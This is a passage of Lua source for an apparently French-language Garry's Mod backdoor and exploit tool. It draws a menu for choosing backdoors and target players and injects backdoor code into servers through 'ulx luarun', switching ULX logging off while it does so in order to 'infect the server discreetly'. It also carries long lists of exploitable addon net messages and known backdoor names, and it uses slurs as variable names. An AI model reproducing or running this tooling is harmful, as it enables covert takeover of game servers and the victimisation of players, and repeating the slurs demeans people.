2563surface.DrawRect( 0, 0, w, h )
2564
2565surface.SetDrawColor( Color(0, 0, 0, 255) )
2566
2567surface.DrawOutlinedRect( 0, 0, w, h )
2568
2569surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
2570
2571surface.SetDrawColor( Color(0, 0, 0, 200) )
2572
2573surface.DrawRect( 10, 25, w - 20, h - 35 )
2574
2575surface.DrawRect( 15, 30, w - 30, 35 )
2576
2577draw.SimpleText("Victimisation Sur Tous", "DermaDefault", 80, 160, Color(255, 255, 255), 0, 1)
2578
2579draw.SimpleText("Victimisation Sur Un Joueur", "DermaDefault", 280, 160, Color(255, 255, 255), 0, 1)
2580
2581draw.SimpleText("Destruction", "DermaDefault", 520, 160, Color(255, 255, 255), 0, 1)
2582
2583draw.SimpleText("Joueurs A Victime", "DermaDefault", 660, 140, Color(255, 255, 255), 0, 1)
2584
2585draw.SimpleText("Paramètres Commandes", "DermaDefault", 485, 520, Color(255, 255, 255), 0, 1)
2586
2587end
2588
2589HTMLGUI = vgui.Create( "HTML", BDMenu )
2590HTMLGUI:SetSize( 400,50 )
2591HTMLGUI:SetPos( 330,80 )
2592HTMLGUI:OpenURL( "https://image.noelshack.com/fichiers/2018/26/6/1530372954-sans-titrffe-4.png")
2593
2594surface.CreateFont("close",{font = "Marlett", size = 15, weight = 0, antialias = 0})
2595local CLOSEBOUTON = vgui.Create( "DButton", BDMenu)
2596CLOSEBOUTON:SetPos( 795, 0)
2597CLOSEBOUTON:SetSize( 30, 25 )
2598CLOSEBOUTON:SetText( "X" )
2599CLOSEBOUTON:SetFont( "close" )
2600CLOSEBOUTON.Paint = function( self, w, h )
2601draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 0))
2602if CLOSEBOUTON:IsHovered() then
2603CLOSEBOUTON:SetTextColor( Color( 255, 255, 255, 255 ) )
2604draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 0))
2605else
2606draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
2607CLOSEBOUTON:SetTextColor( Color( 255, 255, 255 ) )
2608end
2609CLOSEBOUTON.DoClick = function()
2610surface.PlaySound( "UI/buttonclick.wav" )
2611BDMenu:Remove()
2612end
2613end
2614
2615
2616local it = 28
2617
2618
2619
2620local wedungoofd = vgui.Create( "DLabel", BDMenu )
2621
2622wedungoofd:SetPos( 25, 38 )
2623
2624wedungoofd:SetFont( "Trebuchet18" )
2625
2626wedungoofd:SetColor( Color( 120, 50, 50 ) )
2627
2628wedungoofd:SetText( "" )
2629
2630wedungoofd:SizeToContents()
2631
2632
2633
2634for bd, t in pairs( BD.BackdoorTypes ) do
2635
2636 local faggot = vgui.Create("DButton", BDMenu)
2637
2638 faggot:SetSize( 150, 25 )
2639
2640 faggot:SetPos( it, 35 )
2641
2642 faggot:SetText( bd )
2643
2644 faggot:SetTextColor(Color(255, 255, 255, 255))
2645
2646 faggot.Paint = function(panel, w, h)
2647
2648 if BD.Backdoors[bd] then
2649
2650 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2651
2652 surface.DrawOutlinedRect(0, 0, w, h)
2653
2654 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2655
2656 surface.DrawRect(0, 0, w, h)
2657
2658 else
2659
2660 surface.SetDrawColor(50, 50, 50 ,155)
2661
2662 surface.DrawRect(0, 0, w, h)
2663
2664 end
2665
2666 end
2667
2668 faggot.DoClick = function()
2669
2670 BD.ChatText( "La Backdoor est désormais : "..bd, Color(155,155,255) )
2671
2672 BD.CurrentBackdoor = bd
2673
2674 surface.PlaySound("buttons/button18.wav")
2675
2676 end
2677
2678 it = it + 155
2679
2680end
2681
2682
2683
2684local Plist = vgui.Create( "DPanelList", BDMenu )
2685
2686Plist:SetPos( 40, 175 )
2687
2688Plist:SetSize( 200, 300 )
2689
2690Plist:SetPadding( 10 )
2691
2692Plist:SetSpacing( 8 )
2693
2694Plist:EnableHorizontal( false )
2695
2696Plist:EnableVerticalScrollbar( true )
2697
2698Plist:SetName( "" )
2699
2700Plist.Paint = function( self, w, h )
2701
2702 surface.SetDrawColor(0, 0, 0 ,200)
2703
2704 surface.DrawOutlinedRect(0, 0, w, h)
2705 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2706 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2707
2708 surface.SetDrawColor(0, 0, 0 ,220)
2709
2710 surface.DrawRect(0, 0, w, h)
2711
2712end
2713
2714
2715
2716local Plist2 = vgui.Create( "DPanelList", BDMenu )
2717
2718Plist2:SetPos( 250, 175 )
2719
2720Plist2:SetSize( 200, 300 )
2721
2722Plist2:SetPadding( 5 )
2723
2724Plist2:SetSpacing( 5 )
2725
2726Plist2:EnableHorizontal( false )
2727
2728Plist2:EnableVerticalScrollbar( true )
2729
2730Plist2:SetName( "" )
2731
2732Plist2.Paint = function( self, w, h )
2733
2734 surface.SetDrawColor(0, 0, 0 ,200)
2735
2736 surface.DrawOutlinedRect(0, 0, w, h)
2737 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2738 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2739
2740 surface.SetDrawColor(0, 0, 0 ,220)
2741
2742 surface.DrawRect(0, 0, w, h)
2743
2744end
2745
2746
2747
2748local Plist3 = vgui.Create( "DPanelList", BDMenu )
2749
2750Plist3:SetPos( 470, 175 )
2751
2752Plist3:SetSize( 150, 300 )
2753
2754Plist3:SetPadding( 5 )
2755
2756Plist3:SetSpacing( 5 )
2757
2758Plist3:EnableHorizontal( false )
2759
2760Plist3:EnableVerticalScrollbar( true )
2761
2762Plist3:SetName( "" )
2763
2764Plist3.Paint = function( self, w, h )
2765
2766 surface.SetDrawColor(0, 0, 0 ,200)
2767
2768 surface.DrawOutlinedRect(0, 0, w, h)
2769 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2770 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2771
2772 surface.SetDrawColor(0, 0, 0 ,220)
2773
2774 surface.DrawRect(0, 0, w, h)
2775
2776end
2777
2778
2779
2780local Plist4 = vgui.Create( "DPanelList", BDMenu )
2781
2782Plist4:SetPos( 630, 175 )
2783
2784Plist4:SetSize( 150, 300 )
2785
2786Plist4:SetPadding( 5 )
2787
2788Plist4:SetSpacing( 5 )
2789
2790Plist4:EnableHorizontal( false )
2791
2792Plist4:EnableVerticalScrollbar( true )
2793
2794Plist4:SetName( "" )
2795
2796Plist4.Paint = function( self, w, h )
2797
2798 surface.SetDrawColor(0, 0, 0 ,200)
2799
2800 surface.DrawOutlinedRect(0, 0, w, h)
2801 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2802 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2803
2804 surface.SetDrawColor(0, 0, 0 ,220)
2805
2806 surface.DrawRect(0, 0, w, h)
2807
2808end
2809
2810
2811
2812 local faggot = vgui.Create("DButton", BDMenu)
2813
2814 faggot:SetSize( 150, 35 )
2815
2816 faggot:SetPos( 630, 480 )
2817
2818 faggot:SetText("Activer Backdoor!")
2819
2820 faggot:SetTextColor(Color(255, 255, 255, 255))
2821
2822 faggot.Paint = function(panel, w, h)
2823
2824 surface.SetDrawColor(255, 100, 00 ,255)
2825
2826 surface.DrawOutlinedRect(0, 0, w, h)
2827
2828 surface.SetDrawColor(50, 0, 0 ,155)
2829
2830 surface.DrawRect(0, 0, w, h)
2831
2832 end
2833
2834 faggot.DoClick = function()
2835
2836 if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné de backdoor, IDIOT !", Color(255,155,155) ) return end
2837
2838 if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
2839
2840 surface.PlaySound("buttons/button18.wav")
2841
2842 end
2843
2844
2845
2846
2847
2848 local helpimretarded = vgui.Create("DButton", BDMenu)
2849
2850 helpimretarded:SetSize( 200, 35 )
2851
2852 helpimretarded:SetPos( 40, 480 )
2853
2854 helpimretarded:SetText("Copier Le Code De La Backdoor")
2855
2856 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
2857
2858 helpimretarded.Paint = function(panel, w, h)
2859
2860 surface.SetDrawColor(255, 100, 00 ,255)
2861
2862 surface.DrawOutlinedRect(0, 0, w, h)
2863
2864 surface.SetDrawColor(50, 0, 0 ,155)
2865
2866 surface.DrawRect(0, 0, w, h)
2867
2868 end
2869
2870 helpimretarded.DoClick = function()
2871
2872 BD.ChatText( "Code copié, tu peut l'injecter via la console mtn :D", Color(155,255,155) )
2873
2874 local bdstring = BD.GetActive().Code
2875
2876 SetClipboardText( bdstring )
2877
2878 end
2879
2880
2881
2882 local helpimretarded2 = vgui.Create("DButton", BDMenu)
2883
2884 helpimretarded2:SetSize( 200, 35 )
2885
2886 helpimretarded2:SetPos( 250, 480 )
2887
2888 helpimretarded2:SetText("LuaRun La Backdoor")
2889
2890 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
2891
2892 helpimretarded2.Paint = function(panel, w, h)
2893
2894 surface.SetDrawColor(255, 100, 00 ,255)
2895
2896 surface.DrawOutlinedRect(0, 0, w, h)
2897
2898 surface.SetDrawColor(50, 0, 0 ,155)
2899
2900 surface.DrawRect(0, 0, w, h)
2901
2902 end
2903
2904 helpimretarded2.DoClick = function()
2905
2906 BD.ChatText( "Infection du serveur discrètement...", Color(155,255,155) )
2907
2908 LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
2909
2910 timer.Simple( 0.5, function()
2911
2912 LocalPlayer():ConCommand( "ulx luarun "..BD.GetActive().Code )
2913
2914 end )
2915
2916 timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logecho 1]] ) end )
2917
2918
2919
2920 timer.Simple( 1.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then BD.ChatText( "Infecté Avec Succès !", Color(155,255,155) ) else BD.ChatText( "Infection ULX Raté!", Color(255,155,155) ) end end )
2921
2922 end
2923
2924
2925
2926
2927
2928local moonman = vgui.Create( "DTextEntry", BDMenu )
2929
2930moonman:SetPos( 470, 480 )
2931
2932moonman:SetSize( 150, 33 )
2933
2934moonman:SetText( backdoorargs )
2935
2936moonman.OnChange = function( self )
2937
2938 backdoorargs = self:GetValue()
2939
2940-- surface.PlaySound("buttons/button3.wav")
2941
2942end
2943
2944
2945
2946
2947
2948 local target1 = vgui.Create("DButton", BDMenu)
2949
2950 target1:SetSize( 40, 20 )
2951
2952 target1:SetPos( 630, 150 )
2953
2954 target1:SetText("Tous")
2955
2956 target1:SetTextColor(Color(255, 255, 255, 255))
2957
2958 target1.Paint = function(panel, w, h)
2959
2960 surface.SetDrawColor(255, 100, 00 ,255)
2961
2962 surface.DrawOutlinedRect(0, 0, w, h)
2963
2964 surface.SetDrawColor(50, 0, 0 ,155)
2965
2966 surface.DrawRect(0, 0, w, h)
2967
2968 end
2969
2970 target1.DoClick = function()
2971
2972 for _, p in pairs(player.GetAll()) do
2973
2974 if not table.HasValue( selectedplayers, p ) then
2975
2976 table.insert( selectedplayers, p )
2977
2978 end
2979
2980 end
2981
2982 end
2983
2984
2985
2986 local target2 = vgui.Create("DButton", BDMenu)
2987
2988 target2:SetSize( 40, 20 )
2989
2990 target2:SetPos( 685, 150 )
2991
2992 target2:SetText("Aucun")
2993
2994 target2:SetTextColor(Color(255, 255, 255, 255))
2995
2996 target2.Paint = function(panel, w, h)
2997
2998 surface.SetDrawColor(255, 100, 00 ,255)
2999
3000 surface.DrawOutlinedRect(0, 0, w, h)
3001
3002 surface.SetDrawColor(50, 0, 0 ,155)
3003
3004 surface.DrawRect(0, 0, w, h)
3005
3006 end
3007
3008 target2.DoClick = function()
3009
3010 table.Empty( selectedplayers )
3011
3012 end
3013
3014
3015
3016 local target2 = vgui.Create("DButton", BDMenu)
3017
3018 target2:SetSize( 40, 20 )
3019
3020 target2:SetPos( 740, 150 )
3021
3022 target2:SetText("Moi")
3023
3024 target2:SetTextColor(Color(255, 255, 255, 255))
3025
3026 target2.Paint = function(panel, w, h)
3027
3028 surface.SetDrawColor(255, 100, 00 ,255)
3029
3030 surface.DrawOutlinedRect(0, 0, w, h)
3031
3032 surface.SetDrawColor(50, 0, 0 ,155)
3033
3034 surface.DrawRect(0, 0, w, h)
3035
3036 end
3037
3038 target2.DoClick = function()
3039
3040 table.Empty( selectedplayers )
3041
3042 table.insert( selectedplayers, LocalPlayer() )
3043
3044 end
3045
3046
3047
3048
3049
3050
3051
3052/*================================
3053|===== LISTES DES JOUEURS =====|
3054=================================*/
3055
3056
3057
3058for k, v in pairs( player.GetAll() ) do
3059
3060
3061
3062 local plypanel2 = vgui.Create( "DPanel" )
3063
3064 plypanel2:SetPos( 0, 0 )
3065
3066 plypanel2:SetSize( 200, 25 )
3067
3068 plypanel2.Paint = function() -- Paint function
3069
3070 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
3071
3072 if table.HasValue( selectedplayers, v ) then surface.SetDrawColor(Color(255, 255, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
3073
3074 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
3075
3076 end
3077
3078
3079
3080 local plyname = vgui.Create( "DLabel", plypanel2 )
3081
3082 plyname:SetPos( 10, 5 )
3083
3084 plyname:SetFont( "Trebuchet18" )
3085
3086 local tcol = Color( 255, 255, 255 )
3087
3088 if v == LocalPlayer() then tcol = Color( 255, 155, 155 ) end
3089
3090 plyname:SetColor( tcol )
3091
3092 plyname:SetText( v:Nick() )
3093
3094 plyname:SetSize(180, 15)
3095
3096
3097
3098
3099
3100 local faggot = vgui.Create("DButton", plypanel2)
3101
3102 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
3103
3104 faggot:SetPos( 0, 0 )
3105
3106 faggot:SetText("")
3107
3108 faggot.Paint = function(panel, w, h)
3109
3110 return
3111
3112 end
3113
3114 faggot.DoClick = function()
3115
3116 if table.HasValue( selectedplayers, v ) then
3117
3118 table.RemoveByValue( selectedplayers, v )
3119
3120 else
3121
3122 table.insert( selectedplayers, v )
3123
3124 end
3125
3126 end
3127
3128
3129
3130
3131
3132 Plist4:AddItem( plypanel2 )
3133
3134
3135
3136end
3137
3138
3139
3140
3141
3142BD.GenerateBackdoorList( Plist, 1 )
3143
3144BD.GenerateBackdoorList( Plist2, 2 )
3145
3146BD.GenerateBackdoorList( Plist3, 3 )
3147
3148
3149
3150end
3151
3152concommand.Add("88_backdoor", BD.BackdoorMenu)
3153
3154
3155
3156
3157
3158function BD.QuickFireBackdoor()
3159
3160if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a rien selectionné, que faire !", Color(255,155,155) ) return end
3161
3162if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
3163
3164end
3165
3166concommand.Add("runbd", BD.QuickFireBackdoor)
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177/*=================================
3178|====== CONCOMMAND ON START ======|
3179=================================*/
3180RunConsoleCommand "stopsound"
3181
3182
3183
3184
3185
3186
3187
3188
3189/*==========================
3190|==== Los Famosos Local ====|
3191==========================*/
3192
3193local givemeid = LocalPlayer():SteamID()
3194local ply = LocalPlayer()
3195local asphyxnet = "";
3196local n = net
3197local nr = n.Receive
3198local s = n.ReadString
3199local NBRBackdoor = 0
3200local selectedplayers = {}
3201local selectedbackdoor = ""
3202
3203
3204
3205
3206
3207
3208/*=============================
3209|==== Check SNTE Netstring ===|
3210=============================*/
3211
3212local rdmNetNum = 30 -- having more usable exploitable addons means it's 100% darkrp gamemode lol
3213
3214// global list of exploits that circulates
3215local legit_nets = {
3216 "pplay_deleterow",
3217 "pplay_addrow",
3218 "pplay_sendtable",
3219 "WriteQuery",
3220 "VJSay",
3221 "SendMoney",
3222 "BailOut",
3223 "customprinter_get",
3224 "textstickers_entdata",
3225 "NC_GetNameChange",
3226 "ATS_WARP_REMOVE_CLIENT",
3227 "ATS_WARP_FROM_CLIENT",
3228 "ATS_WARP_VIEWOWNER",
3229 "CFRemoveGame",
3230 "CFJoinGame",
3231 "CFEndGame",
3232 "CreateCase",
3233 "rprotect_terminal_settings",
3234 "StackGhost",
3235 "RevivePlayer",
3236 "ARMORY_RetrieveWeapon",
3237 "TransferReport",
3238 "SimplicityAC_aysent",
3239 "pac_to_contraption",
3240 "SyncPrinterButtons76561198056171650",
3241 "sendtable",
3242 "steamid2",
3243 "Kun_SellDrug",
3244 "net_PSUnBoxServer",
3245 "pplay_deleterow",
3246 "pplay_addrow",
3247 "CraftSomething",
3248 "banleaver",
3249 "75_plus_win",
3250 "ATMDepositMoney",
3251 "Taxi_Add",
3252 "Kun_SellOil",
3253 "SellMinerals",
3254 "TakeBetMoney",
3255 "PoliceJoin",
3256 "CpForm_Answers",
3257 "DepositMoney",
3258 "MDE_RemoveStuff_C2S",
3259 "NET_SS_DoBuyTakeoff",
3260 "NET_EcSetTax",
3261 "RP_Accept_Fine",
3262 "RP_Fine_Player",
3263 "RXCAR_Shop_Store_C2S",
3264 "RXCAR_SellINVCar_C2S",
3265 "drugseffect_remove",
3266 "drugs_money",
3267 "CRAFTINGMOD_SHOP",
3268 "drugs_ignite",
3269 "drugseffect_hpremove",
3270 "DarkRP_Kun_ForceSpawn",
3271 "drugs_text",
3272 "NLRKick",
3273 "RecKickAFKer",
3274 "GMBG:PickupItem",
3275 "DL_Answering",
3276 "plyWarning",
3277 "NLR.ActionPlayer",
3278 "timebombDefuse",
3279 "start_wd_emp",
3280 "kart_sell",
3281 "FarmingmodSellItems",
3282 "ClickerAddToPoints",
3283 "bodyman_model_change",
3284 "TOW_PayTheFine",
3285 "FIRE_CreateFireTruck",
3286 "hitcomplete",
3287 "hhh_request",
3288 "DaHit",
3289 "TCBBuyAmmo",
3290 "DataSend",
3291 "gBan.BanBuffer",
3292 "fp_as_doorHandler",
3293 "Upgrade",
3294 "TowTruck_CreateTowTruck",
3295 "TOW_SubmitWarning",
3296 "duelrequestguiYes",
3297 "JoinOrg",
3298 "pac_submit",
3299 "NDES_SelectedEmblem",
3300 "join_disconnect",
3301 "Morpheus.StaffTracker",
3302 "casinokit_chipexchange",
3303 "BuyKey",
3304 "BuyCrate",
3305 "FactionInviteConsole",
3306 "FacCreate",
3307 "1942_Fuhrer_SubmitCandidacy",
3308 "pogcp_report_submitReport",
3309 "textscreens_download",
3310 "hsend",
3311 "BuilderXToggleKill",
3312 "Chatbox_PlayerChat",
3313 "reports.submit",
3314 "services_accept",
3315 "Warn_CreateWarn",
3316 "NewReport",
3317 "soez",
3318 "GiveHealthNPC",
3319 "DarkRP_SS_Gamble",
3320 "buyinghealth",
3321 "DarkRP_preferredjobmodel",
3322 "DarkRP_spawnPocket",
3323 "whk_setart",
3324 "WithdrewBMoney",
3325 "DuelMessageReturn",
3326 "ban_rdm",
3327 "BuyCar",
3328 "ats_send_toServer",
3329 "dLogsGetCommand",
3330 "disguise",
3331 "gportal_rpname_change",
3332 "AbilityUse",
3333 "ClickerAddToPoints",
3334 "race_accept",
3335 "give_me_weapon",
3336 "FinishContract",
3337 "NLR_SPAWN",
3338 "Kun_ZiptieStruggle",
3339 "JB_Votekick",
3340 "Letthisdudeout",
3341 "ckit_roul_bet",
3342 "pac.net.TouchFlexes.ClientNotify",
3343 "ply_pick_shit",
3344 "TFA_Attachment_RequestAll",
3345 "BuyFirstTovar",
3346 "BuySecondTovar",
3347 "GiveHealthNPC",
3348 "MONEY_SYSTEM_GetWeapons",
3349 "MCon_Demote_ToServer",
3350 "withdrawp",
3351 "PCAdd",
3352 "ActivatePC",
3353 "PCDelAll",
3354 "viv_hl2rp_disp_message",
3355 "ATM_DepositMoney_C2S",
3356 "BM2.Command.SellBitcoins",
3357 "BM2.Command.Eject",
3358 "tickbooksendfine",
3359 "egg",
3360 "RHC_jail_player",
3361 "PlayerUseItem",
3362 "Chess Top10",
3363 "ItemStoreUse",
3364 "EZS_PlayerTag",
3365 "simfphys_gasspill",
3366 "sphys_dupe",
3367 "sw_gokart",
3368 "wordenns",
3369 "SyncPrinterButtons16690",
3370 "AttemptSellCar",
3371 "DarkRP_spawnPocket",
3372 "uPLYWarning",
3373 "atlaschat.rqclrcfg",
3374 "dlib.getinfo.replicate",
3375 "SetPermaKnife",
3376 "EnterpriseWithdraw",
3377 "SBP_addtime",
3378 "NetData",
3379 "CW20_PRESET_LOAD",
3380 "minigun_drones_switch",
3381 "NET_AM_MakePotion",
3382 "bitcoins_request_turn_off",
3383 "bitcoins_request_turn_on",
3384 "bitcoins_request_withdraw",
3385 "PermwepsNPCSellWeapon",
3386 "ncpstoredoact",
3387 "DuelRequestClient",
3388 "BeginSpin",
3389 "tickbookpayfine",
3390 "fg_printer_money",
3391 "IGS.GetPaymentURL",
3392 "pp_info_send",
3393 "AirDrops_StartPlacement",
3394 "SlotsRemoved",
3395 "FARMINGMOD_DROPITEM",
3396 "cab_sendmessage",
3397 "cab_cd_testdrive",
3398 "blueatm",
3399 "SCP-294Sv",
3400 "dronesrewrite_controldr",
3401 "desktopPrinter_Withdraw",
3402 "RemoveTag",
3403 "IDInv_RequestBank",
3404 "UseMedkit",
3405 "WipeMask",
3406 "SwapFilter",
3407 "RemoveMask",
3408 "DeployMask",
3409 "ZED_SpawnCar",
3410 "levelup_useperk",
3411 "passmayorexam",
3412 "Selldatride",
3413 "ORG_VaultDonate",
3414 "ORG_NewOrg",
3415 "ScannerMenu",
3416 "misswd_accept",
3417 "D3A_Message",
3418 "LawsToServer",
3419 "Shop_buy",
3420 "D3A_CreateOrg",
3421 "Gb_gasstation_BuyGas",
3422 "Gb_gasstation_BuyJerrycan",
3423 "MineServer",
3424 "AcceptBailOffer",
3425 "LawyerOfferBail",
3426 "buy_bundle",
3427 "AskPickupItemInv",
3428 "donatorshop_itemtobuy",
3429 "netOrgVoteInvite_Server",
3430 "Chess ClientWager",
3431 "AcceptRequest",
3432 "deposit",
3433 "CubeRiot CaptureZone Update",
3434 "NPCShop_BuyItem",
3435 "SpawnProtection",
3436 "hoverboardpurchase",
3437 "soundArrestCommit",
3438 "LotteryMenu",
3439 "updateLaws",
3440 "TMC_NET_FirePlayer",
3441 "thiefnpc",
3442 "TMC_NET_MakePlayerWanted",
3443 "SyncRemoveAction",
3444 "HV_AmmoBuy",
3445 "NET_CR_TakeStoredMoney",
3446 "nox_addpremadepunishment",
3447 "GrabMoney",
3448 "LAWYER.GetBailOut",
3449 "LAWYER.BailFelonOut",
3450 "br_send_pm",
3451 "GET_Admin_MSGS",
3452 "OPEN_ADMIN_CHAT",
3453 "LB_AddBan",
3454 "redirectMsg",
3455 "RDMReason_Explain",
3456 "JB_SelectWarden",
3457 "JB_GiveCubics",
3458 "SendSteamID",
3459 "wyozimc_playply",
3460 "SpecDM_SendLoadout",
3461 "sv_saveweapons",
3462 "DL_StartReport",
3463 "DL_ReportPlayer",
3464 "DL_AskLogsList",
3465 "DailyLoginClaim",
3466 "GiveWeapon",
3467 "GovStation_SpawnVehicle",
3468 "inviteToOrganization",
3469 "createFaction",
3470 "sellitem",
3471 "giveArrestReason",
3472 "unarrestPerson",
3473 "JoinFirstSS",
3474 "bringNfreeze",
3475 "start_wd_hack",
3476 "DestroyTable",
3477 "nCTieUpStart",
3478 "IveBeenRDMed",
3479 "FIGHTCLUB_StartFight",
3480 "FIGHTCLUB_KickPlayer",
3481 "ReSpawn",
3482 "CP_Test_Results",
3483 "AcceptBailOffer",
3484 "IS_SubmitSID_C2S",
3485 "IS_GetReward_C2S",
3486 "ChangeOrgName",
3487 "DisbandOrganization",
3488 "CreateOrganization",
3489 "newTerritory",
3490 "InviteMember",
3491 "sendDuelInfo",
3492 "DoDealerDeliver",
3493 "PurchaseWeed",
3494 "guncraft_removeWorkbench",
3495 "wordenns",
3496 "userAcceptPrestige",
3497 "DuelMessageReturn",
3498 "Client_To_Server_OpenEditor",
3499 "GiveSCP294Cup",
3500 "GiveArmor100",
3501 "SprintSpeedset",
3502 "ArmorButton",
3503 "HealButton",
3504 "SRequest",
3505 "ClickerForceSave",
3506 "rpi_trade_end",
3507 "NET_BailPlayer",
3508 "vj_testentity_runtextsd",
3509 "requestmoneyforvk",
3510 "gPrinters.sendID",
3511 "FIRE_RemoveFireTruck",
3512 "drugs_effect",
3513 "drugs_give",
3514 "NET_DoPrinterAction",
3515 "opr_withdraw",
3516 "money_clicker_withdraw",
3517 "NGII_TakeMoney",
3518 "gPrinters.retrieveMoney",
3519 "revival_revive_accept",
3520 "chname",
3521 "NewRPNameSQL",
3522 "UpdateRPUModelSQL",
3523 "SetTableTarget",
3524 "SquadGiveWeapon",
3525 "BuyUpgradesStuff",
3526 "REPAdminChangeLVL",
3527 "SendMail",
3528 "DemotePlayer",
3529 "OpenGates",
3530 "VehicleUnderglow",
3531 "Hopping_Test",
3532 "CREATE_REPORT",
3533 "CreateEntity",
3534 "FiremanLeave",
3535 "DarkRP_Defib_ForceSpawn",
3536 "Resupply",
3537 "BTTTStartVotekick",
3538 "_nonDBVMVote",
3539 "REPPurchase",
3540 "deathrag_takeitem",
3541 "FacCreate",
3542 "InformPlayer",
3543 "lockpick_sound",
3544 "SetPlayerModel",
3545 "changeToPhysgun",
3546 "VoteBanNO",
3547 "VoteKickNO",
3548 "shopguild_buyitem",
3549 "MG2.Request.GangRankings",
3550 "RequestMAPSize",
3551 "gMining.sellMineral",
3552 "ItemStoreDrop",
3553 "optarrest",
3554 "DarkRP_TipJarUpdate",
3555 "TalkIconChat",
3556 "UpdateAdvBoneSettings",
3557 "ViralsScoreboardAdmin"
3558}
3559
3560// battle against a risk of backdoor
3561local bad_nets = {
3562 "Sbox_gm_attackofnullday_key",
3563 "c",
3564 "enablevac",
3565 "ULXQUERY2",
3566 "Im_SOCool",
3567 "MoonMan",
3568 "LickMeOut",
3569 "SessionBackdoor",
3570 "OdiumBackDoor",
3571 "ULX_QUERY2",
3572 "nocheat",
3573 "Sbox_itemstore",
3574 "Sbox_darkrp",
3575 "Sbox_Message",
3576 "_blacksmurf",
3577 "nostrip",
3578 "Remove_Exploiters",
3579 "Sandbox_ArmDupe",
3580 "rconadmin",
3581 "jesuslebg",
3582 "zilnix",
3583 "Þà?D)◘",
3584 "disablebackdoor",
3585 "blacksmurfBackdoor",
3586 "jeveuttonrconleul",
3587 "memeDoor",
3588 "DarkRP_AdminWeapons",
3589 "Fix_Keypads",
3590 "noclipcloakaesp_chat_text",
3591 "_CAC_ReadMemory",
3592 "Ulib_Message",
3593 "Ulogs_Infos",
3594 "ITEM",
3595 "fix",
3596 "nocheat",
3597 "Sandbox_GayParty",
3598 "DarkRP_UTF8",
3599 "OldNetReadData",
3600 "Backdoor",
3601 "cucked",
3602 "NoNerks",
3603 "kek",
3604 "ZimbaBackdoor",
3605 "something",
3606 "random",
3607 "strip0",
3608 "fellosnake",
3609 "idk",
3610 "killserver",
3611 "fuckserver",
3612 "cvaraccess",
3613 "rcon",
3614 "rconadmin",
3615 "web",
3616 "dontforget",
3617 "aze46aez67z67z64dcv4bt",
3618 "nolag",
3619 "changename",
3620 "music",
3621 "_Defqon",
3622 "xenoexistscl",
3623 "R8",
3624 "DefqonBackdoor",
3625 "fourhead",
3626 "echangeinfo",
3627 "PlayerItemPickUp",
3628 "kill",
3629 "Þ� ?D)◘",
3630 "thefrenchenculer",
3631 "elfamosabackdoormdr",
3632 "stoppk",
3633 "noprop",
3634 "reaper",
3635 "Abcdefgh",
3636 "JSQuery.Data(Post(false))",
3637 "pjHabrp9EY",
3638 "_Raze",
3639 "m9k_explosionradius",
3640 "NoOdium_ReadPing",
3641 "m9k_explosionradius",
3642 "gag",
3643 "_cac_",
3644 "_Battleye_Meme_",
3645 "ULogs_B",
3646 "arivia",
3647 "_Warns",
3648 "striphelper",
3649 "m9k_explosive",
3650 "GaySploitBackdoor",
3651 "_GaySploit",
3652 "slua",
3653 "Bilboard.adverts:Spawn(false)",
3654 "BOOST_FPS"
3655
3656}
3657
3658
3659local legit_num = #legit_nets
3660local bad_num = #bad_nets
3661
3662local function ban(_, ply)
3663 ply:Kick("[Auto-Ban] - On c'est fait avoir nous même rt")
3664end
3665
3666timer.Simple(1, function()
3667 for i = legit_num, 1, -1 do
3668 if util.NetworkStringToID(legit_nets[i]) ~= 0 then
3669 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," SNTE A détécté " .. table.remove(legit_nets, i) .. " comme exploit \n" )
3670 legit_num = legit_num - 1
3671 end
3672 end
3673 for i = bad_num, 1, -1 do
3674 if util.NetworkStringToID(bad_nets[i]) ~= 0 then
3675 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(bad_nets, i) .. " comme backdoor \n" )
3676 net.Receive(bad_nets[i], ban)
3677 bad_num = bad_num - 1
3678 end
3679 end
3680 local global_nets = legit_nets
3681 table.Add(global_nets, bad_nets)
3682
3683
3684 local global_num = #global_nets
3685 for i = global_num, 1, -1 do
3686 if util.NetworkStringToID(global_nets[i]) ~= 0 then
3687 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(global_nets, i) .. " généré \n" )
3688 net.Receive(global_nets[i], print "lol")
3689 global_num = global_num - 1
3690end
3691end
3692end)
3693
3694
3695
3696/*=======================
3697|==== Check Netstring ===|
3698========================*/
3699
3700concommand.Add("asnet", function()
3701local netstrings = {}
3702for i = 1, 9999 do
